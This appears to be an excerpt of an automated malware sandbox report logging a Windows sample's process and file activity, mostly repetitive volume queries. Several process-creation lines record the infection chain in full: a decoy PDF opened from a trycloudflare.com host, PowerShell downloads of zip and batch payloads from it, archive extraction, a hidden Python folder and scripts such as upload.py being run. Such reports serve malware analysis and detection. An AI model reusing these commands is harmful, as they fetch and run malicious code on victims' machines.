Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformation

HIPS / PFW / Operating System Protection Evasion

barindex
Source: C:\Windows\System32\cmd.exeSection loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly
Source: C:\Windows\System32\cmd.exeSection loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly
Source: C:\Windows\System32\cmd.exeSection loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly
Source: C:\Windows\System32\cmd.exeSection loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly
Source: C:\Windows\System32\cmd.exeSection loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly
Source: C:\Windows\System32\cmd.exeSection loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly
Source: C:\Windows\System32\cmd.exeSection loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://verizon-tops-sports-gba.trycloudflare.com/kbsfaw.pdf
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://verizon-tops-sports-gba.trycloudflare.com/kbsfaw.pdf
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for extraction to finish (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Python"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe money.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe moment.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe update.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe upload.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe time.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe kam.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe momentomo.py
Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://verizon-tops-sports-gba.trycloudflare.com/kbsfaw.pdf
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/startupppp.bat' -OutFile 'C:\Users\user\Downloads\startupppp.bat' }"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/FTSP.zip' -OutFile 'C:\Users\user\Downloads\FTSP.zip' }"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00_14.0.27323.0_x64__8wekyb3d8bbwe VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00_14.0.27323.0_x64__8wekyb3d8bbwe VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.3208.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
